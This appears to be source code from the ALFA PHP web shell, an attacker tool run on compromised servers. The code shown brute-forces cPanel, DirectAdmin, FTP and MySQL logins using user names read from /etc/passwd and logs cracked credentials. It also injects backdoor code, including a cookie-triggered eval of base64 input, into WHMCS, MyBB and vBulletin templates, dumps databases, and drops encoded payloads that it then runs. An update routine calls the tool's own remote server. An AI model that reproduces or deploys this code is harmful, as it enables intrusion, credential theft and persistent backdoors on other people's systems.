    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']) . 'alfa.sql', 'inputSize' => '50'));
    create_table($table);
    echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
    $username = $_POST['alfa3'];
    $password = $_POST['alfa4'];
    $dbname = $_POST['alfa5'];
    $dfile = $_POST['alfa6'];
    $host = $_POST['alfa7'];
    if (!empty($dbname)) {
        echo __pre();
        $msg = "<center>Check this :  <font color='red'>" . $dfile . "</font></center>";
        if (@mysqli_connect($host, $username, $password, $dbname)) {
            if (strlen(alfaEx("mysqldump")) > 0) {
                alfaEx("mysqldump --single-transaction --host=\"{$host}\" --user=\"{$username}\" --password=\"{$password}\" {$dbname} > '" . addslashes($dfile) . "'");
                echo $msg;
            } else {
                __alert("Error...!");
            }
        } else {
            echo "<center>mysqli_connect : Error!</center>";
        }
    }
    echo "</div>";
    alfafooter();
}
function Alfa_DirectAdmin_Cracker($info)
{
    if (!$info['mysql']) {
        $url = $info['protocol'] . $info['target'] . ':' . $info['port'] . '/CMD_LOGIN';
    } else {
        $url = $info['protocol'] . $info['target'] . '/phpmyadmin';
    }
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERPWD, $info['username'] . ':' . $info['password']);
    if ($info['mysql']) {
        curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
    }
    $result = @curl_exec($curl);
    $curl_errno = curl_errno($curl);
    $curl_error = curl_error($curl);
    if ($curl_errno > 0) {
        echo "<font color='red'>Error: {$curl_error}</font><br>";
    } elseif (preg_match('/CMD_FILE_MANAGER|frameset/i', $result)) {
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
        $info['target'] = $url;
        CrackerResualt($info);
    }
    curl_close($curl);
}
function Alfa_CP_Cracker($info)
{
    $url = $info['protocol'] . $info['target'] . ':' . $info['port'];
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'] . ":" . $info['password']) . "\n\r"));
    curl_setopt($curl, CURLOPT_URL, $url);
    $result = @curl_exec($curl);
    $curl_errno = curl_errno($curl);
    $curl_error = curl_error($curl);
    if ($curl_errno > 0) {
        echo "<font color='red'>Error: {$curl_error}</font><br>";
    } elseif (preg_match('/filemanager/i', $result)) {
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
        $info['target'] = $url;
        CrackerResualt($info);
    }
    curl_close($curl);
}
function Alfa_FTP_Cracker($info)
{
    $url = $info['protocol'] . $info['target'];
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERPWD, "" . $info['username'] . ":" . $info['password'] . "");
    $result = @curl_exec($curl);
    $curl_errno = curl_errno($curl);
    $curl_error = curl_error($curl);
    if ($curl_errno > 0) {
        echo "<font color='red'>Error: {$curl_error}</font><br>";
    } elseif (preg_match('/(\\d+):(\\d+)/i', $result)) {
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
        $info['target'] = $url;
        CrackerResualt($info);
    }
    curl_close($curl);
}
function Alfa_Mysql_Cracker($info)
{
    if (@mysqli_connect($info['target'] . ':' . $info['port'], $info['username'], $info['password'])) {
        CrackerResualt($info);
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
    }
}
function Alfa_FTPC($info)
{
    if ($con = @ftp_connect($info['target'], $info['port'])) {
        if ($con) {
            $login = @ftp_login($con, $info['username'], $info['password']);
            if ($login) {
                CrackerResualt($info);
            }
        }
    }
    @ftp_close($con);
}
function CrackerResualt($info)
{
    $res = $info['target'] . ' => ' . $info['username'] . ":" . $info['password'] . "\n";
    $c = @fopen($info['fcrack'], 'a+');
    @fwrite($c, $res);
    @fclose($c);
}
function Alfa_Call_Function_Cracker($method, $info)
{
    switch ($method) {
        case 'cp':
            return Alfa_CP_Cracker($info);
        case 'direct':
        case 'phpmyadmin':
            return Alfa_DirectAdmin_Cracker($info);
        case 'ftp':
            return Alfa_FTP_Cracker($info);
        case 'mysql':
            return Alfa_Mysql_Cracker($info);
        case 'mysql':
            return Alfa_FTPC($info);
    }
}
function alfaCrackers()
{
    alfahead();
    AlfaNum(9, 10);
    echo "<div class=\"header\"><center><br><div class=\"txtfont_header\">| Brute Forcer |</div><br><br><form method=\"post\" onsubmit=\"g('Crackers',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,'start',this.protocol.value,this.loginpanel.value);return false;\"><div class=\"txtfont\">Login Page: <select onclick=\"dis_input(this.value);\" name=\"loginpanel\">";
    foreach (array('cp' => 'Cpanel', 'direct' => 'DirectAdmin', 'ftp' => 'FTP', 'phpmyadmin' => 'PhpMyAdmin[DirectAdmin]', 'mysql' => 'mysql_connect()', 'ftpc' => 'ftp_connect()') as $key => $val) {
        echo '<option value="' . $key . '">' . $val . '</option>';
    }
    echo "</select> Protocol: <select id=\"protocol\" name=\"protocol\">";
    foreach (array('https://', 'http://', 'ftp://') as $val) {
        echo '<option value="' . $val . '">' . $val . '</option>';
    }
    echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">' . ($GLOBALS['sys'] == 'unix' ? alfaEx("cut -d: -f1 /etc/passwd") : "") . '</textarea>
&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
    $target = str_replace(array('https://', 'http://', 'ftp://'), '', $_POST['alfa1']);
    $port = $_POST['alfa2'];
    $usernames = $_POST['alfa3'];
    $passwords = $_POST['alfa4'];
    $fcrack = $_POST['alfa5'];
    $cracking = $_POST['alfa6'];
    $protocol = $_POST['alfa7'];
    $loginpanel = $_POST['alfa8'];
    $p = $loginpanel == 'phpmyadmin' ? $p = true : false;
    if ($cracking == 'start') {
        echo __pre();
        $exuser = explode("\n", $usernames);
        $expw = explode("\n", $passwords);
        foreach ($exuser as $user) {
            foreach ($expw as $pw) {
                $array = array('username' => trim($user), 'password' => trim($pw), 'port' => trim($port), 'target' => trim($target), 'protocol' => trim($protocol), 'fcrack' => trim($fcrack), 'mysql' => $p);
                Alfa_Call_Function_Cracker($loginpanel, $array);
            }
        }
        echo "<br><font color=\"red\">Attack Finished...</font>";
    }
    echo "</div>";
    alfafooter();
}
function output($string)
{
    echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $string . "'>Click Here !</a></font></b></center><br><br>";
}
function alfaShellInjectors()
{
    alfahead();
    echo "<div class=header>";
    AlfaNum(11);
    echo "<center><p><div class=\"txtfont_header\">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,'whmcs',null)\">| WHMCS | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,'mybb')\">| MyBB | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,null,'vb')\">| vBulletin |</a></h3></center>";
    $selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'whmcs') {
        AlfaNum();
        echo __pre() . "<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>" . getConfigHtml('whmcs') . "</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<p><div class=\"txtfont\">Shell Inject Method : </div> <select name=\"method\" style=\"width:100px;\"><option value=\"auto\">AutoMatic</option><option value=\"man\">Manuel</option></select></p>";
        echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
        if (isset($_POST['alfa6'])) {
            $dbu = $_POST['alfa6'];
            $dbn = $_POST['alfa7'];
            $dbp = $_POST['alfa8'];
            $dbh = $_POST['alfa9'];
            $path = $_POST['alfa10'];
            $method = $_POST['alfa4'];
            $index = "{php}ALFA_UPLOADER;{/php}";
            $newin = "{php}ALFA_UPLOADER;{/php}";
            $newindex = "<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}";
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
                if (filter_var($path, FILTER_VALIDATE_URL)) {
                    $conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_connect_error());
                    $soleSave = mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
                    $soleGet = mysqli_fetch_assoc($soleSave);
                    $tempSave1 = $soleGet['message'];
                    $tempSave = str_replace("'", "\\'", $tempSave1);
                    mysqli_query($conn, "UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die(mysqli_error($conn));
                    $inject = "UPDATE tblemailtemplates SET message='<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}' WHERE name='Password Reset Validation'";
                    $result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
                    $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
                    $result2 = mysqli_query($conn, $create) or die(mysqli_error($conn));
                    if (function_exists('curl_version') && $method == 'auto') {
                        $AlfaSole = new AlfaCURL(true);
                        $saveurl = $AlfaSole->Send($path . "/pwreset.php");
                        $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
                        $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
                        $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
                        $Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
                        __alert("shell injectet...");
                        $ff = 'http://' . $path . "/solevisible.php";
                        output($ff);
                    } else {
                        echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='" . $path . "/pwreset.php' target='_blank'>" . $path . "/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $path . "/solevisible.php' target='_blank'>" . $path . "/solevisible.php</a></b></center><br><br>";
                    }
                } else {
                    __alert('Path is not Valid...');
                }
            }
        }
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
        AlfaNum(1, 2, 3, 5);
        echo __pre() . "<p><div class='txtfont_header'>| MyBB |</div></p><center><center>" . getConfigHtml("mybb") . "<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => 'mybb_', 'inputSize' => '50'));
        create_table($table);
        echo $selector;
        echo "<p><input type=submit value=' '></p></form></center></center>";
        if (isset($_POST['alfa6'])) {
            $dbu = $_POST['alfa6'];
            $dbn = $_POST['alfa7'];
            $dbp = $_POST['alfa8'];
            $dbh = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $method = $_POST['alfa4'];
            $shellCode = "{\${ALFA_UPLOADER}}";
            $newinshell = "{\${ALFA_UPLOADER}}";
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)) {
                $conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
                $inject = "select template from {$prefix}templates where  title= 'calendar'";
                $result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
                $GetTemp = mysqli_fetch_assoc($result);
                $saveDate = $GetTemp['template'];
                $repsave = str_replace($shellCode, "", $saveDate);
                $repsave = str_replace("'", "\\'", $repsave);
                $createShell = "update {$prefix}templates SET template= '" . $newinshell . $repsave . "' where title = 'calendar'";
                $result2 = mysqli_query($conn, $createShell) or die(mysqli_error($conn));
                $geturl = "select value from {$prefix}settings where name= 'bburl'";
                $findurl = mysqli_query($conn, $geturl) or die(mysqli_error($conn));
                $rowb = mysqli_fetch_assoc($findurl);
                $furl = $rowb['value'];
                $realurl = parse_url($furl, PHP_URL_HOST);
                $realpath = parse_url($furl, PHP_URL_PATH);
                $res = false;
                $AlfaCurl = new AlfaCURL();
                if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
                    if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
                        @fputs($fsock, "GET {$realpath}/calendar.php HTTP/1.1\r\n");
                        @fputs($fsock, "HOST: {$realurl}\r\n");
                        @fputs($fsock, "Connection: close\r\n\r\n");
                        $check = fgets($fsock);
                        if (preg_match("/200 OK/i", $check)) {
                            $repairdbtemp = "update {$prefix}templates SET template= '{$repsave}' where title = 'calendar'";
                            $clear = mysqli_query($conn, $repairdbtemp) or die(mysqli_error($conn));
                            $res = true;
                        }
                        @fclose($fsock);
                    }
                } elseif (function_exists('curl_version') && $method == 'auto') {
                    $AlfaCurl->Send($realurl . $realpath . "/calendar.php");
                    $res = true;
                }
                if ($res) {
                    $ff = 'http://' . $realurl . $realpath . "/solevisible.php";
                    output($ff);
                } else {
                    $ff = 'http://' . $realurl . $realpath . "/calendar.php";
                    $fff = 'http://' . $realurl . $realpath . "/solevisible.php";
                    echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></b></center><br><br>";
                }
            }
        }
    }
    if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'vb') {
        AlfaNum(1, 2, 7, 9, 10);
        echo __pre() . '<p><div class="txtfont_header">| vbulletin |</div></p><p>' . getConfigHtml('vb') . '</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo $selector;
        echo "<p><input type=\"submit\" value=\" \" /></p></form></center>";
        if (isset($_POST['alfa4']) && !empty($_POST['alfa4'])) {
            $method = $_POST['alfa8'];
            $faq_name = "faq";
            $faq_file = "/faq.php";
            $code = "{\${ALFA_UPLOADER}}{\${exit()}}&";
            $conn = @mysqli_connect($_POST['alfa2'], $_POST['alfa4'], $_POST['alfa5'], $_POST['alfa7']) or die(@mysqli_connect_error());
            $rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
            $recivedata = @mysqli_query($conn, $rec);
            $getd = @mysqli_fetch_assoc($recivedata);
            $savetoass = $getd['template'];
            if (empty($savetoass)) {
                $faq_name = "header";
                $faq_file = "/";
                $rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
                $recivedata = @mysqli_query($conn, $rec);
                $getd = @mysqli_fetch_assoc($recivedata);
                $savetoass = $getd['template'];
                $code = "ALFA_UPLOADER;";
            }
            $code = str_replace("'", "\\'", $code);
            $p = "UPDATE " . $_POST['alfa6'] . "template SET `template`='" . $code . "' WHERE `title`='" . $faq_name . "'";
            $ka = @mysqli_query($conn, $p) or die(mysqli_error($conn));
            $geturl = @mysqli_query($conn, "select `value` from " . $_POST['alfa6'] . "setting WHERE `varname`='bburl'");
            $getval = @mysqli_fetch_assoc($geturl);
            $saveval = $getval['value'];
            if ($faq_name == "header") {
                if (substr($saveval, -5, 5) == "/core") {
                    $saveval = substr($saveval, 0, -5);
                }
            }
            $realurl = parse_url($saveval, PHP_URL_HOST);
            $realpath = parse_url($saveval, PHP_URL_PATH);
            $res = false;
            $AlfaCurl = new AlfaCURL();
            if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
                if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
                    @fputs($fsock, "GET {$realpath}.{$faq_file} HTTP/1.1\r\n");
                    @fputs($fsock, "HOST: {$realurl}\r\n");
                    @fputs($fsock, "Connection: close\r\n\r\n");
                    $check = fgets($fsock);
                    if (preg_match("/200 OK/i", $check)) {
                        $p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
                        $ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
                        $res = true;
                    }
                    @fclose($fsock);
                }
            } elseif (function_exists('curl_version') && $method == 'auto') {
                $AlfaCurl->Send($realurl . $realpath . $faq_file);
                $p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
                $ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
                $res = true;
            }
            if ($res) {
                $ff = 'http://' . $realurl . $realpath . "/solevisible.php";
                output($ff);
            } else {
                $ff = 'http://' . $realurl . $realpath . $faq_file;
                $fff = 'http://' . $realurl . $realpath . "/solevisible.php";
                echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></center></p>";
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfacheckfiletype()
{
    $path = $_POST['path'];
    $arg = $_POST['arg'];
    if (@is_file($path . '/' . $arg)) {
        echo "file";
    } else {
        echo "dir";
    }
}
function alfacheckupdate()
{
    if ($GLOBALS["DB_NAME"]["cgi_api"]) {
        if (!isset($_COOKIE["alfacgiapi_mode"]) && !isset($_COOKIE["alfacgiapi"])) {
            _alfa_cgicmd("whoami", "perl", true);
            if (strlen(alfaEx("whoami", false, true)) > 0) {
                __alfa_set_cookie("alfa_canruncmd", "true");
            }
        }
    }
    if (function_exists("curl_version")) {
        $update = new AlfaCURL();
        $json = $update->Send("http://solevisible.com/update.json?ver=4.1");
        $json = @json_decode($json, true);
        $data = array();
        if ($json) {
            if (!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])) {
                if ($json["type"] == "update") {
                    if (__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']) {
                        @setcookie("alfa_checkupdate", "1", time() + 86400);
                        $data["content"] = '<div class="update-holder">' . $json["content"] . '</div>';
                    }
                }
            }
            if (isset($json["ads"]) && !empty($json["ads"])) {
                $data["content"] .= $json["ads"];
            }
            if (isset($json["copyright"]) && !empty($json["copyright"])) {
                $data["copyright"] = $json["copyright"];
            }
            if (isset($json["solevisible"]) && !empty($json["solevisible"])) {
                $data["solevisible"] = $json["solevisible"];
            }
            if (isset($json["code_name"]) && !empty($json["code_name"])) {
                $data["code_name"] = $json["code_name"];
                $data["version_number"] = __ALFA_VERSION__;
            }
            if (isset($json["market"]) && !empty($json["market"])) {
                $data["market"] = $json["market"];
            }
            echo @json_encode($data);
        }
    }
}
function alfaWriteTocgiapi($name, $source)
{
    $temp = "";
    $not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
    if (in_array($name, $not_api)) {
        $temp = ALFA_TEMPDIR;
        if ($temp) {
            @chdir($temp);
        }
    } else {
        alfaCreateParentFolder();
        @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    }
    @mkdir('alfacgiapi', 0755);
    __write_file("alfacgiapi/" . $name, __get_resource($source));
    @chmod("alfacgiapi/" . $name, 0755);
    return $temp;
}
function alfacheckcgi()
{
    if (strlen(alfaEx("id", false, true, true)) > 0) {
        echo "ok";
    } else {
        echo "no";
    }
}
function alfaupdateheader()
{
    if (!isset($_COOKIE["updateheader_data"])) {
        $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
        $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
        $tmp_path = alfaWriteTocgiapi("getheader.alfa", $bash);
        $data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa", false, true, true);
        if (@is_array(@json_decode($data, true))) {
            __alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
            echo $data;
        }
    } else {
        echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
    }
}
function alfassiShell()
{
    alfahead();
    echo "<div class=header>";
    alfaCreateParentFolder();
    @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    @mkdir('alfa_shtml', 0755);
    @chdir('alfa_shtml');
    alfacgihtaccess('shtml');
    $code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8